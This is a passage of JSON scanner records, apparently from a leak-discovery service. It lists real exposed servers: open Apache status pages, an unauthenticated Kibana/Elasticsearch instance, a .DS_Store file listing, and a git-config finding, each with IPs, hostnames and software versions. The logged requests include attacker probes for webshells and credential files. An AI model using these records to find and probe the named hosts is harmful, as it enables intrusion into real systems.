Duration: 188010866\\n.0536 requests/sec - 191 B/second - 3576 B/request - 944.01 ms/request\\n4 requests currently being processed, 296 idle workers\\n________________________________________________________________\\n________________________________________________________________\\n________________________________________________________________\\n________________________________________________________________\\n___________C___C______W___________C_________\\nScoreboard Key:\\n\\\"_\\\" Waiting for Connection, \\n\\\"S\\\" Starting up, \\n\\\"R\\\" Reading Request,\\n\\\"W\\\" Sending Reply, \\n\\\"K\\\" Keepalive (read), \\n\\\"D\\\" DNS Lookup,\\n\\\"C\\\" Closing connection, \\n\\\"L\\\" Logging, \\n\\\"G\\\" Gracefully finishing, \\n\\\"I\\\" Idle cleanup of worker, \\n\\\".\\\" Open slot with no current process\\n\\n\\n\\nSrvPIDAccMSSReqDurConnChildSlotClientProtocolVHostRequest\\n\\n0-032921/82/82C\\n00463650.20.010.01\\n139.144.150.205http/1.1127.0.0.1:80GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor\\n\\n0-032920/2/2_\\n249833759840.00.000.00\\n89.163.242.206http/1.1latitudestock.com:443GET //en/page/show_home_page.html HTTP/1.1\\n\\n0-032920/198/198_\\n37784671168590.00.960.96\\n208.100.26.233http/1.1\\n\\n0-032920/1/1_\\n3778000.00.000.00\\n208.100.26.233http/1.1\\n\\n0-032921/377/377C\\n002344790.21.371.37\\n139.144.150.205http/1.1127.0.0.1:80GET /about HTTP/1.1\\n\\n0-032920/1651/1651_\\n3778014663280.06.796.79\\n208.100.26.233http/1.1\\n\\n0-032920/2057/2057_\\n24982014750830.013.1813.18\\n27.131.109.194http/1.1latitudestock.com:80GET /marijuana.php HTTP/1.1\\n\\n0-032920/7981/7981_\\n24982069320930.037.1837.18\\n27.131.109.194http/1.1latitudestock.com:80GET /MARIJUANA.php HTTP/1.1\\n\\n0-032920/5969/5969_\\n24980056301360.018.7618.76\\n27.131.109.194http/1.1latitudestock.com:80GET /simple.php HTTP/1.1\\n\\n0-032920/6683/6683_\\n3778062089300.011.1211.12\\n208.100.26.233http/1.1\\n\\n0-032920/6383/6383_\\n24982059592550.029.5129.51\\n27.131.109.194http/1.1latitudestock.com:80GET /atomlib.php HTTP/1.1\\n\\n0-032920/6593/6593W\\n0059513110.022.7522.75\\n139.144.150.205http/1.1127.0.0.1:80GET /server-status HTTP/1.1\\n\\n0-032920/8223/8223_\\n24982074853150.036.6236.62\\n27.131.109.194http/1.1latitudestock.com:80GET /ninjawebshell.php HTTP/1.1\\n\\n0-032920/7276/7276_\\n3778074446180.018.7918.79\\n208.100.26.233http/1.1\\n\\n0-032920/10047/10047_\\n249800102434280.028.0428.04\\n27.131.109.194h2latitudestock.com:443local goaway, streams: 0/1/1/0/0 (open/recv/resp/push/rst)\\n\\n0-032920/9616/9616_\\n24980076110820.027.7027.70\\n27.131.109.194h2latitudestock.com:443local goaway, streams: 0/1/1/0/0 (open/recv/resp/push/rst)\\n\\n0-032920/2750/2750_\\n24982030042850.07.567.56\\n27.131.109.194http/1.1latitudestock.com:80GET /shell.php HTTP/1.1\\n\\n0-032920/11164/11164_\\n24980093943450.032.9732.97\\n27.131.109.194h2latitudestock.com:443local goaway, streams: 0/1/1/0/0 (open/recv/resp/push/rst)\\n\\n0-032920/7966/7966_\\n3778075460510.025.5425.54\\n208.100.26.233http/1.1\\n\\n0-032920/5034/5034_\\n24982057591550.023.9423.94\\n27.131.109.194http/1.1latitudestock.com:80GET /mar.php HTTP/1.1\\n\\n0-032920/12500/12500_\\n249820119147030.050.5350.53\\n27.131.109.194http/1.1latitudestock.com:80GET /jquery.php HTTP/1.1\\n\\n0-032920/8635/8635_\\n24980071901790.027.6027.60\\n27.131.109.194h2latitudestock.com:443local goaway, streams: 0/1/1/0/0 (open/recv/resp/push/rst)\\n\\n0-032920/12619/12619_\\n24980095052780.029.6729.67\\n27.131.109.194http/1.1latitudestock.com:80GET /nf_tracking.php HTTP/1.1\\n\\n0-032921/3356/3356C\\n0038772530.211.3411.34\\n139.144.150.205http/1.1127.0.0.1:80GET /.vscode/sftp.json HTTP/1.1\\n\\n0-032920/5053/5053_\\n24982055562950.012.3512.35\\n27.131.109.194http/1.1latitudestock.com:80GET /wp-atom.php HTTP/1.1\\n\\n0-032920/9471/9471_\\n24982090241630.028.6828.68\\n27.131.109.194http/1.1latitudestock.com:80GET /simple.php HTTP/1.1\\n\\n0-032920/8261/8261_\\n3778087155090.024.9724.97\\n208.100.26.233http/1.1\\n\\n0-032920/5778/5778_\\n24982044778340.016.5316.53\\n27.131.109.194http/1.1latitudestock.com:80GET /nf_tracking.php HTTP/1.1\\n\\n0-032920/4363/4363_\\n3778063187550.07.297.29\\n208.100.26.233http/1.1\\n\\n0-032920/6905/6905_\\n24980055858790.023.1423.14\\n27.131.109.194http/1.1latitudestock.com:80GET /shell.php HTTP/1.1\\n\\n0-032920/5422/5422_\\n24982062310000.028.2128.21\\n27.131.109.194http/1.1latitudestock.com:80GET /ninja.php HTTP/1.1\\n\\n0-032920/11330/11330_\\n249800110267510.051.8151.81\\n27.131.109.194h2latitudestock.com:443local goaway, streams: 0/1/1/0/0 (open/recv/resp/push/rst)\\n\\n0-032920/5416/5416_\\n24980060771460.024.3924.39\\n27.131.109.194h2latitudestock.com:443local goaway, streams: 0/1/1/0/0 (open/recv/resp/push/rst)\\n\\n\\n  \\n SrvChild Server number - generation\\n PIDOS process ID\\n AccNumber of accesses this connection / this child / this slot\\n MMode of operation\\nSSSeconds since beginning of most recent request\\n ReqMilliseconds required to process most recent request\\n DurSum of milliseconds required to process all requests\\n ConnKilobytes transferred this connection\\n ChildMegabytes transferred this child\\n SlotTotal megabytes transferred this slot\\n \\n\\nmod_fcgid status:\\nTotal FastCGI processes: 2\\n\\nProcess: php-cgi.exe  (C:/CaptureTools3/webserver/php-5.2.17-Win32-VC6-x86/php-cgi.exe)\\n\\n\\nPidActiveIdleAccessesState\\n1932363659618500689Ready\\n\\n\\nProcess: php-cgi.exe  (C:/CaptureTools3/webserver/php-5.2.17-Win32-VC6-x86/php-cgi.exe)\\n\\n\\nPidActiveIdleAccessesState\\n2264308424141Ready\\n\\n\\nActive and Idle are time active and time since\\nlast request, in seconds.\\n\\n\",\n    \"time\": \"2024-02-14T12:54:30.843415997Z\",\n    \"ssl\": {\n      \"detected\": false,\n      \"enabled\": false,\n      \"jarm\": \"\",\n      \"cypher_suite\": \"\",\n      \"version\": \"\",\n      \"certificate\": {\n        \"cn\": \"\",\n        \"domain\": null,\n        \"fingerprint\": \"\",\n        \"key_algo\": \"\",\n        \"key_size\": 0,\n        \"issuer_name\": \"\",\n        \"not_before\": \"0001-01-01T00:00:00Z\",\n        \"not_after\": \"0001-01-01T00:00:00Z\",\n        \"valid\": false\n      }\n    },\n    \"ssh\": {\n      \"fingerprint\": \"\",\n      \"version\": 0,\n      \"banner\": \"\",\n      \"motd\": \"\"\n    },\n    \"service\": {\n      \"credentials\": {\n        \"noauth\": false,\n        \"username\": \"\",\n        \"password\": \"\",\n        \"key\": \"\",\n        \"raw\": null\n      },\n      \"software\": {\n        \"name\": \"Apache\",\n        \"version\": \"\",\n        \"os\": \"\",\n        \"modules\": null,\n        \"fingerprint\": \"\"\n      }\n    },\n    \"leak\": {\n      \"stage\": \"\",\n      \"type\": \"\",\n      \"severity\": \"medium\",\n      \"dataset\": {\n        \"rows\": 0,\n        \"files\": 0,\n        \"size\": 0,\n        \"collections\": 0,\n        \"infected\": false,\n        \"ransom_notes\": null\n      }\n    },\n    \"tags\": [],\n    \"geoip\": {\n      \"continent_name\": \"Europe\",\n      \"region_iso_code\": \"\",\n      \"city_name\": \"\",\n      \"country_iso_code\": \"GB\",\n      \"country_name\": \"United Kingdom\",\n      \"region_name\": \"\",\n      \"location\": {\n        \"lat\": 51.4964,\n        \"lon\": -0.1224\n      }\n    },\n    \"network\": {\n      \"organization_name\": \"Pulsant (Scotland) Ltd\",\n      \"asn\": 12703,\n      \"network\": \"5.153.64.0/19\"\n    }\n  },\n  {\n    \"event_type\": \"leak\",\n    \"event_source\": \"ElasticSearchOpenPlugin\",\n    \"event_pipeline\": [\n      \"l9filter\",\n      \"tcpid\",\n      \"HttpPlugin\",\n      \"ElasticSearchOpenPlugin\"\n    ],\n    \"event_fingerprint\": \"831cb76b8e05df4665beb8db7afa26ed0818a4b90d3fa760cbc70efe5b3d5482\",\n    \"ip\": \"144.126.159.199\",\n    \"host\": \"144.126.159.199\",\n    \"reverse\": \"\",\n    \"port\": \"80\",\n    \"mac\": \"\",\n    \"vendor\": \"\",\n    \"transport\": [\n      \"tcp\",\n      \"http\"\n    ],\n    \"protocol\": \"kibana\",\n    \"http\": {\n      \"root\": \"\",\n      \"url\": \"\",\n      \"status\": 302,\n      \"length\": 0,\n      \"header\": {\n        \"content-length\": \"0\",\n        \"location\": \"/spaces/enter\"\n      },\n      \"title\": \"\",\n      \"favicon_hash\": \"\"\n    },\n    \"summary\": \"Indices: 35, document count: 503871, size: 975.1 MB\\nThrough Kibana endpoint\\nFound index reports with 0 documents (226 B)\\nFound index casa with 0 documents (226 B)\\nFound index auth with 1 documents (4.3 kB)\\nFound index session with 1 documents (9.0 kB)\\nFound index admin with 1 documents (5.2 kB)\\nFound index minio with 2 documents (11.5 kB)\\nFound index .kibana_7.17.6_001 with 114 documents (2.5 MB)\\nFound index login with 1 documents (4.9 kB)\\nFound index .geoip_databases with 41 documents (43.3 MB)\\nFound index offer with 435324 documents (793.8 MB)\\nFound index actuator with 1 documents (5.2 kB)\\nFound index .apm-custom-link with 0 documents (226 B)\\nFound index cgi-bin with 1 documents (6.4 kB)\\nFound index api with 2 documents (12.3 kB)\\nFound index graphql with 1 documents (4.3 kB)\\nFound index oauth with 6 documents (30.5 kB)\\nFound index connect with 1 documents (9.1 kB)\\nFound index .apm-agent-configuration with 0 documents (226 B)\\nFound index suite-auth with 1 documents (6.0 kB)\\nFound index apisix with 1 documents (7.2 kB)\\nFound index hybridity with 1 documents (5.7 kB)\\nFound index .tasks with 418 documents (373.8 kB)\\nFound index plugin with 1 documents (4.9 kB)\\nFound index .kibana_task_manager_7.17.6_001 with 17 documents (107.7 MB)\\nFound index graphiql with 1 documents (4.3 kB)\\nFound index service with 1 documents (20.8 kB)\\nFound index ztp with 1 documents (7.8 kB)\\nFound index offerclassification with 1339 documents (2.5 MB)\\nFound index je with 1 documents (4.3 kB)\\nFound index .async-search with 0 documents (253 B)\\nFound index v1 with 1 documents (7.1 kB)\\nFound index v2 with 1 documents (4.3 kB)\\nFound index v3 with 1 documents (4.3 kB)\\nFound index v4 with 1 documents (4.3 kB)\\nFound index authors with 66588 documents (24.7 MB)\\n\",\n    \"time\": \"2024-02-14T12:54:01.213509646Z\",\n    \"ssl\": {\n      \"detected\": false,\n      \"enabled\": false,\n      \"jarm\": \"\",\n      \"cypher_suite\": \"\",\n      \"version\": \"\",\n      \"certificate\": {\n        \"cn\": \"\",\n        \"domain\": null,\n        \"fingerprint\": \"\",\n        \"key_algo\": \"\",\n        \"key_size\": 0,\n        \"issuer_name\": \"\",\n        \"not_before\": \"0001-01-01T00:00:00Z\",\n        \"not_after\": \"0001-01-01T00:00:00Z\",\n        \"valid\": false\n      }\n    },\n    \"ssh\": {\n      \"fingerprint\": \"\",\n      \"version\": 0,\n      \"banner\": \"\",\n      \"motd\": \"\"\n    },\n    \"service\": {\n      \"credentials\": {\n        \"noauth\": true,\n        \"username\": \"\",\n        \"password\": \"\",\n        \"key\": \"\",\n        \"raw\": null\n      },\n      \"software\": {\n        \"name\": \"Kibana\",\n        \"version\": \"\",\n        \"os\": \"Debian GNU/Linux 11 (bullseye) 5.4.0-170-generic\",\n        \"modules\": null,\n        \"fingerprint\": \"\"\n      }\n    },\n    \"leak\": {\n      \"stage\": \"\",\n      \"type\": \"\",\n      \"severity\": \"high\",\n      \"dataset\": {\n        \"rows\": 503871,\n        \"files\": 0,\n        \"size\": 975121196,\n        \"collections\": 35,\n        \"infected\": false,\n        \"ransom_notes\": null\n      }\n    },\n    \"tags\": [\n      \"elasticsearch\",\n      \"database\"\n    ],\n    \"geoip\": {\n      \"continent_name\": \"North America\",\n      \"region_iso_code\": \"US-MO\",\n      \"city_name\": \"St Louis\",\n      \"country_iso_code\": \"US\",\n      \"country_name\": \"United States\",\n      \"region_name\": \"Missouri\",\n      \"location\": {\n        \"lat\": 38.6287,\n        \"lon\": -90.1988\n      }\n    },\n    \"network\": {\n      \"organization_name\": \"CONTABO\",\n      \"asn\": 40021,\n      \"network\": \"144.126.128.0/19\"\n    }\n  },\n  {\n    \"event_type\": \"leak\",\n    \"event_source\": \"ApacheStatusPlugin\",\n    \"event_pipeline\": [\n      \"CertStream\",\n      \"tcpid\",\n      \"HttpPlugin\",\n      \"ApacheStatusPlugin\"\n    ],\n    \"event_fingerprint\": \"ee80c6706842d3ef6842d3ef6325bb316325bb31f369419df369419dee517ad5\",\n    \"ip\": \"178.63.132.10\",\n    \"host\": \"praktikant.dimata.it\",\n    \"reverse\": \"\",\n    \"port\": \"443\",\n    \"mac\": \"\",\n    \"vendor\": \"\",\n    \"transport\": [\n      \"tcp\",\n      \"tls\",\n      \"http\"\n    ],\n    \"protocol\": \"https\",\n    \"http\": {\n      \"root\": \"\",\n      \"url\": \"\",\n      \"status\": 404,\n      \"length\": 0,\n      \"header\": {\n        \"content-length\": \"196\",\n        \"content-type\": \"text/html; charset=iso-8859-1\",\n        \"server\": \"nginx\"\n      },\n      \"title\": \"404 Not Found\",\n      \"favicon_hash\": \"\"\n    },\n    \"summary\": \"\\nApache Status\\n\\nApache Server Status for praktikant.dimata.it (via 127.0.0.1)\\n\\nServer Version: Apache/2.4.56 (Debian) mod_fcgid/2.3.9 OpenSSL/1.1.1w\\nServer MPM: event\\nServer Built: 2023-04-02T03:06:01\\n\\nCurrent Time: Wednesday, 14-Feb-2024 13:53:04 CET\\nRestart Time: Thursday, 07-Dec-2023 22:28:20 CET\\nParent Server Config. Generation: 207\\nParent Server MPM Generation: 206\\nServer uptime:  68 days 15 hours 24 minutes 43 seconds\\nServer load: 1.11 0.94 0.62\\nTotal accesses: 3564951 - Total Traffic: 519.7 GB - Total Duration: 1136913318\\nCPU Usage: u111.22 s189.54 cu4531.17 cs3076.02 - .133% CPU load\\n.601 requests/sec - 91.9 kB/second - 152.9 kB/request - 318.914 ms/request\\n1 requests currently being processed, 49 idle workers\\n\\n\\n\\nSlotPIDStoppingConnections\\nThreadsAsync connections\\ntotalacceptingbusyidlewritingkeep-aliveclosing\\n06613no0yes124000\\n16612no0yes025000\\nSum200 149000\\n\\n______________W___________________________________..............\\n................................................................\\n......................\\nScoreboard Key:\\n\\\"_\\\" Waiting for Connection, \\n\\\"S\\\" Starting up, \\n\\\"R\\\" Reading Request,\\n\\\"W\\\" Sending Reply, \\n\\\"K\\\" Keepalive (read), \\n\\\"D\\\" DNS Lookup,\\n\\\"C\\\" Closing connection, \\n\\\"L\\\" Logging, \\n\\\"G\\\" Gracefully finishing, \\n\\\"I\\\" Idle cleanup of worker, \\n\\\".\\\" Open slot with no current process\\n\\n\\n\\nSrvPIDAccMCPU\\nSSReqDurConnChildSlotClientProtocolVHostRequest\\n\\n0-20666130/1/38206_\\n0.0061125572020.00.005128.01\\n127.0.0.1http/1.11214-overbergschule.dimata.dev:POST /wp-cron.php?doing_wp_cron=1707915177.34370708465576171875\\n\\n0-20666130/1/38219_\\n0.002410123810570.00.185795.78\\n127.0.0.1http/1.1grow24.shop:80GET /robots.txt HTTP/1.1\\n\\n0-20666130/0/37908_\\n0.0062354122990060.00.006112.35\\n127.0.0.1http/1.1\\n\\n0-20666130/0/37974_\\n0.002424120384080.00.006210.78\\n127.0.0.1http/1.1grow24.shop:80GET /robots.txt HTTP/1.1\\n\\n0-20666130/0/38093_\\n0.0020124669490.00.005367.80\\n127.0.0.1http/1.1\\n\\n0-20666130/1/38057_\\n0.0000121033200.00.005043.77\\n127.0.0.1http/1.1praktikant.dimata.it:80GET / HTTP/1.1\\n\\n0-20666130/1/38140_\\n0.0010123621790.00.005059.42\\n127.0.0.1http/1.1praktikant.dimata.it:80GET / HTTP/1.1\\n\\n0-20666130/0/38227_\\n0.0010120799860.00.005866.25\\n127.0.0.1http/1.1\\n\\n0-20666130/0/38265_\\n0.007667120906580.00.006305.06\\n127.0.0.1http/1.1\\n\\n0-20666130/0/38037_\\n0.0075977121364830.00.005524.04\\n127.0.0.1http/1.1\\n\\n0-20666130/0/37885_\\n0.0070118564460.00.005643.82\\n127.0.0.1http/1.11214-neumuehlenschule.dimata.deGET /wp-content/uploads/2023/10/Mathe.png HTTP/1.1\\n\\n0-20666130/1/38219_\\n0.0000122600880.00.005792.21\\n127.0.0.1http/1.11214-neumuehlenschule.dimata.deGET /wp-content/uploads/elementor/css/post-704.css?ver=17072541\\n\\n0-20666130/0/38025_\\n0.0000123910650.00.006453.99\\n127.0.0.1http/1.1\\n\\n0-20666130/0/37834_\\n0.00019122914720.00.005374.61\\n127.0.0.1http/1.1\\n\\n0-20666131/0/38308W\\n0.0000126628330.00.004819.53\\n127.0.0.1http/1.1praktikant.dimata.it:80GET /server-status HTTP/1.1\\n\\n0-20666130/0/38224_\\n0.0071123157870.00.005125.70\\n127.0.0.1http/1.1www.koenning-senkowsky.de:80GET / HTTP/1.1\\n\\n0-20666130/0/38122_\\n0.007414122015720.00.005329.28\\n127.0.0.1http/1.11111.dimata.dev:80POST /wp-admin/admin-ajax.php HTTP/1.1\\n\\n0-20666130/0/37992_\\n0.0071433121311790.00.007029.22\\n127.0.0.1http/1.1www.prasoniro.eu:80GET /robots.txt HTTP/1.1\\n\\n0-20666130/0/38071_\\n0.007716121174060.00.007082.26\\n127.0.0.1http/1.1raesfelder-carnevals-verein.de:POST /wp-login.php HTTP/1.1\\n\\n0-20666130/0/38235_\\n0.0070120674040.00.004708.82\\n127.0.0.1http/1.1\\n\\n0-20666130/0/38245_\\n0.0071121006940.00.005524.30\\n127.0.0.1http/1.11214-neumuehlenschule.dimata.deGET /wp-content/uploads/2023/10/CWE_Neumuehlenschule-0028.webp \\n\\n0-20666130/0/37941_\\n0.0070122557600.00.005149.33\\n127.0.0.1http/1.11214-neumuehlenschule.dimata.deGET /wp-content/uploads/2023/10/CWE_Neumuehlenschule-0070.webp \\n\\n0-20666130/0/38116_\\n0.0070121932060.00.004957.03\\n127.0.0.1http/1.11214-neumuehlenschule.dimata.deGET /wp-content/plugins/elementor/assets/js/accordion.879967546\\n\\n0-20666130/0/37953_\\n0.0070117871240.00.006730.65\\n127.0.0.1http/1.1spendenaktion-westfalia.de:80POST /wp-cron.php?doing_wp_cron=1707915158.03373599052429199218\\n\\n0-20666130/0/37858_\\n0.0071126125289110.00.005156.69\\n127.0.0.1http/1.11214-neumuehlenschule.dimata.deGET / HTTP/1.1\\n\\n1-20666120/2/40810_\\n0.0200137282780.00.005938.17\\n127.0.0.1http/1.1praktikant.dimata.it:80GET /v2/_catalog HTTP/1.1\\n\\n1-20666120/0/40934_\\n0.0005461132990820.00.005556.86\\n127.0.0.1http/1.1\\n\\n1-20666120/2/40856_\\n0.0200134323960.00.007668.76\\n127.0.0.1http/1.1praktikant.dimata.it:80GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor\\n\\n1-20666120/1/40896_\\n0.0100129372350.00.006222.72\\n127.0.0.1http/1.1praktikant.dimata.it:80GET /version HTTP/1.1\\n\\n1-20666120/0/40814_\\n0.0005085134635670.00.006985.07\\n127.0.0.1http/1.1\\n\\n1-20666120/0/40782_\\n0.0007741136969360.00.007751.04\\n127.0.0.1http/1.1\\n\\n1-20666120/1/41241_\\n0.010952133112850.00.036495.82\\n127.0.0.1http/1.1grow24.shop:80GET /mammoth-Elite-S.A./SW10642.3 HTTP/1.1\\n\\n1-20666120/1/40480_\\n0.010941125867630.00.027615.89\\n127.0.0.1http/1.11214-neumuehlenschule.dimata.deGET /aktuelles/ HTTP/1.1\\n\\n1-20666120/1/40750_\\n0.0100132365500.00.005724.32\\n127.0.0.1http/1.1praktikant.dimata.it:80GET / HTTP/1.1\\n\\n1-20666120/1/41010_\\n0.0010129687380.00.007389.72\\n127.0.0.1http/1.1praktikant.dimata.it:80GET / HTTP/1.1\\n\\n1-20666120/0/41093_\\n0.001401135663980.00.006097.35\\n127.0.0.1http/1.1\\n\\n1-20666120/0/40820_\\n0.0005367132969650.00.006872.25\\n127.0.0.1http/1.1\\n\\n1-20666120/1/41057_\\n0.010184127784370.00.016128.01\\n127.0.0.1http/1.1www.dimata.email:80GET /?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D\\n\\n1-20666120/0/40900_\\n0.0001077132451420.00.006897.03\\n127.0.0.1http/1.1\\n\\n1-20666120/0/40651_\\n0.000121131873810.00.006061.59\\n127.0.0.1http/1.1\\n\\n1-20666120/0/40661_\\n0.000510132344340.00.006665.99\\n127.0.0.1http/1.1\\n\\n1-20666120/1/40897_\\n0.0100132850630.00.006416.81\\n127.0.0.1http/1.1praktikant.dimata.it:80GET /.vscode/sftp.json HTTP/1.1\\n\\n1-20666120/0/40994_\\n0.000410131173980.00.006470.75\\n127.0.0.1http/1.1\\n\\n1-20666120/1/40844_\\n0.01024130293570.00.005916.15\\n127.0.0.1http/1.1www.dimata.email:80GET /?_task=addressbook&_action=photo&_email=ps9tw31q2x232-1a2c\\n\\n1-20666120/1/40758_\\n0.0100127104460.00.005771.71\\n127.0.0.1http/1.1praktikant.dimata.it:80GET /about HTTP/1.1\\n\\n1-20666120/0/40873_\\n0.0004738131530450.00.007545.11\\n127.0.0.1http/1.1\\n\\n1-20666120/0/40873_\\n0.000699127257680.00.005759.26\\n127.0.0.1http/1.1\\n\\n1-20666120/0/40725_\\n0.0000129327380.00.005133.41\\n127.0.0.1http/1.1\\n\\n1-20666120/1/40925_\\n0.0100130379690.00.005357.83\\n127.0.0.1http/1.1praktikant.dimata.it:80GET /debug/default/view?panel=config HTTP/1.1\\n\\n1-20666120/1/40706_\\n0.02014128966650.00.346047.96\\n127.0.0.1http/1.11214-neumuehlenschule.dimata.deGET /wp-content/uploads/2023/11/2023_Schulentlassung_103-scaled\\n\\n2-205-0/0/36852.\\n0.007413117789140.00.005342.42\\n127.0.0.1\",\n    \"time\": \"2024-02-14T12:53:03.123552752Z\",\n    \"ssl\": {\n      \"detected\": false,\n      \"enabled\": true,\n      \"jarm\": \"3fd3fd15d3fd3fd00042d42d000000df133019600a83abfb096ff3e86cd79d\",\n      \"cypher_suite\": \"TLS_AES_256_GCM_SHA384\",\n      \"version\": \"TLSv1.3\",\n      \"certificate\": {\n        \"cn\": \"praktikant.dimata.it\",\n        \"domain\": [\n          \"praktikant.dimata.it\"\n        ],\n        \"fingerprint\": \"81fbea3e5f2e928c67087d73fae476f9ced411607a02fe19b89e2d112535fb50\",\n        \"key_algo\": \"RSA\",\n        \"key_size\": 4096,\n        \"issuer_name\": \"R3\",\n        \"not_before\": \"2024-02-14T11:52:42Z\",\n        \"not_after\": \"2024-05-14T11:52:41Z\",\n        \"valid\": true\n      }\n    },\n    \"ssh\": {\n      \"fingerprint\": \"\",\n      \"version\": 0,\n      \"banner\": \"\",\n      \"motd\": \"\"\n    },\n    \"service\": {\n      \"credentials\": {\n        \"noauth\": false,\n        \"username\": \"\",\n        \"password\": \"\",\n        \"key\": \"\",\n        \"raw\": null\n      },\n      \"software\": {\n        \"name\": \"nginx\",\n        \"version\": \"\",\n        \"os\": \"\",\n        \"modules\": null,\n        \"fingerprint\": \"\"\n      }\n    },\n    \"leak\": {\n      \"stage\": \"\",\n      \"type\": \"\",\n      \"severity\": \"medium\",\n      \"dataset\": {\n        \"rows\": 0,\n        \"files\": 0,\n        \"size\": 0,\n        \"collections\": 0,\n        \"infected\": false,\n        \"ransom_notes\": null\n      }\n    },\n    \"tags\": [],\n    \"geoip\": {\n      \"continent_name\": \"Europe\",\n      \"region_iso_code\": \"\",\n      \"city_name\": \"\",\n      \"country_iso_code\": \"DE\",\n      \"country_name\": \"Germany\",\n      \"region_name\": \"\",\n      \"location\": {\n        \"lat\": 51.2993,\n        \"lon\": 9.491\n      }\n    },\n    \"network\": {\n      \"organization_name\": \"Hetzner Online GmbH\",\n      \"asn\": 24940,\n      \"network\": \"178.63.0.0/16\"\n    }\n  },\n  {\n    \"event_type\": \"leak\",\n    \"event_source\": \"DotDsStoreOpenPlugin\",\n    \"event_pipeline\": [\n      \"ip4scout\",\n      \"l9tcpid\",\n      \"l9explore\",\n      \"DotDsStoreOpenPlugin\"\n    ],\n    \"event_fingerprint\": \"5f32cf5d6962f09c6cdae1676cdae167bc9dc9afbf92840b1da51ed753992a41\",\n    \"ip\": \"104.131.213.169\",\n    \"host\": \"\",\n    \"reverse\": \"\",\n    \"port\": \"80\",\n    \"mac\": \"\",\n    \"vendor\": \"\",\n    \"transport\": [\n      \"tcp\",\n      \"http\"\n    ],\n    \"protocol\": \"http\",\n    \"http\": {\n      \"root\": \"\",\n      \"url\": \"\",\n      \"status\": 200,\n      \"length\": 0,\n      \"header\": {\n        \"content-length\": \"205\",\n        \"content-type\": \"text/html\",\n        \"server\": \"nginx/1.14.2\"\n      },\n      \"title\": \"/en\",\n      \"favicon_hash\": \"\"\n    },\n    \"summary\": \"Found 69 files trough .DS_Store spidering:\\n\\n/img\\n/img/.gitkeep\\n/img/bamboo-png-transparent-images-169692-2733828.png\\n/img/bannerdawn.jpg\\n/img/blog-header.png\\n/img/buddhism.jpg\\n/img/china-cxb.png\\n/img/chinese-herbs.jpg\\n/img/clipart-grass-herbs-7.png\\n/img/ClockPendulum.png\\n/img/dao1.jpg\\n/img/divider4.jpg\\n/img/eagle.jpg\\n/img/european-herbs-2.jpg\\n/img/european-herbs.jpg\\n/img/gallery\\n/img/gallery/album1\\n/img/gallery/album1/10.jpg\\n/img/gallery/album1/11.jpg\\n/img/gallery/album1/12.jpg\\n/img/gallery/album1/13.jpg\\n/img/gallery/album1/14.jpg\\n/img/gallery/album1/15.jpg\\n/img/gallery/album1/16.jpg\\n/img/gallery/album1/2.jpg\\n/img/gallery/album1/3.jpg\\n/img/gallery/album1/4.jpg\\n/img/gallery/album1/5.jpg\\n/img/gallery/album1/6.jpg\\n/img/gallery/album1/7.jpg\\n/img/gallery/album1/8.jpg\\n/img/gallery/album1/9.jpg\\n/img/gallery/album2\\n/img/Golden-Seas-Marketing-Sdn-Bhd-金海市场有限公司.png\\n/img/herbalmedicine.png\\n/img/hypnotherapy.jpg\\n/img/image-asset.png\\n/img/intro-a.png\\n/img/intro-b1.png\\n/img/intro-b2.png\\n/img/intro-b3.png\\n/img/leaf-2128642_1920.jpg\\n/img/lotus.jpg\\n/img/lotus.png\\n/img/meditation.jpg\\n/img/monk-walk.png\\n/img/MW-FY422_mnuchi_20171115152331_ZQ.jpg\\n/img/NGH-LogoBlue.png\\n/img/orange-flip.jpg\\n/img/orange.jpg\\n/img/pagoda.jpg\\n/img/parallax12.jpg\\n/img/parallax2.jpg\\n/img/parchment-1.jpg\\n/img/parchment-2.png\\n/img/parchment.jpg\\n/img/pingtree.jpg\\n/img/qigong.jpg\\n/img/red.jpg\\n/img/reddusk.jpg\\n/img/redsky.jpg\\n/img/service-class.png\\n/img/spice-products-png-5.png\\n/img/summer-yellow.jpg\\n/img/sunset-eagle.jpg\\n/img/tibetan-medical-diagram.jpg\\n/img/tibetan-medical-diagram2.jpg\\n/img/tori.png\\n/img/yellow.jpg\",\n    \"time\": \"2024-02-14T12:52:49.460539886Z\",\n    \"ssl\": {\n      \"detected\": false,\n      \"enabled\": false,\n      \"jarm\": \"\",\n      \"cypher_suite\": \"\",\n      \"version\": \"\",\n      \"certificate\": {\n        \"cn\": \"\",\n        \"domain\": null,\n        \"fingerprint\": \"\",\n        \"key_algo\": \"\",\n        \"key_size\": 0,\n        \"issuer_name\": \"\",\n        \"not_before\": \"0001-01-01T00:00:00Z\",\n        \"not_after\": \"0001-01-01T00:00:00Z\",\n        \"valid\": false\n      }\n    },\n    \"ssh\": {\n      \"fingerprint\": \"\",\n      \"version\": 0,\n      \"banner\": \"\",\n      \"motd\": \"\"\n    },\n    \"service\": {\n      \"credentials\": {\n        \"noauth\": false,\n        \"username\": \"\",\n        \"password\": \"\",\n        \"key\": \"\",\n        \"raw\": null\n      },\n      \"software\": {\n        \"name\": \"nginx\",\n        \"version\": \"1.14.2\",\n        \"os\": \"\",\n        \"modules\": null,\n        \"fingerprint\": \"\"\n      }\n    },\n    \"leak\": {\n      \"stage\": \"open\",\n      \"type\": \"\",\n      \"severity\": \"medium\",\n      \"dataset\": {\n        \"rows\": 0,\n        \"files\": 69,\n        \"size\": 0,\n        \"collections\": 0,\n        \"infected\": false,\n        \"ransom_notes\": null\n      }\n    },\n    \"tags\": [\n      \"nginx\"\n    ],\n    \"geoip\": {\n      \"continent_name\": \"North America\",\n      \"region_iso_code\": \"US-NY\",\n      \"city_name\": \"New York\",\n      \"country_iso_code\": \"US\",\n      \"country_name\": \"United States\",\n      \"region_name\": \"New York\",\n      \"location\": {\n        \"lat\": 40.7597,\n        \"lon\": -73.981\n      }\n    },\n    \"network\": {\n      \"organization_name\": \"DIGITALOCEAN-ASN\",\n      \"asn\": 14061,\n      \"network\": \"104.131.0.0/16\"\n    }\n  },\n  {\n    \"event_type\": \"leak\",\n    \"event_source\": \"GitConfigHttpPlugin\",\n    \"event_pipeline\": [\n      \"l9filter\",\n      \"tcpid\",\n      \"HttpPlugin\",\n      \"GitConfigHttpPlugin\"\n    ],\n    \"event_fingerprint\": \"2580fa947178c88602b1737db148c044b81b03713d63bb82370a65229b0df0e7\",\n    \"ip\": \"45.236.45.11\",\n    \"host\": \"45.236.45.11\",\n    \"reverse\": \"\",\n    \"port\": \"443\",\n    \"mac\": \"\",\n    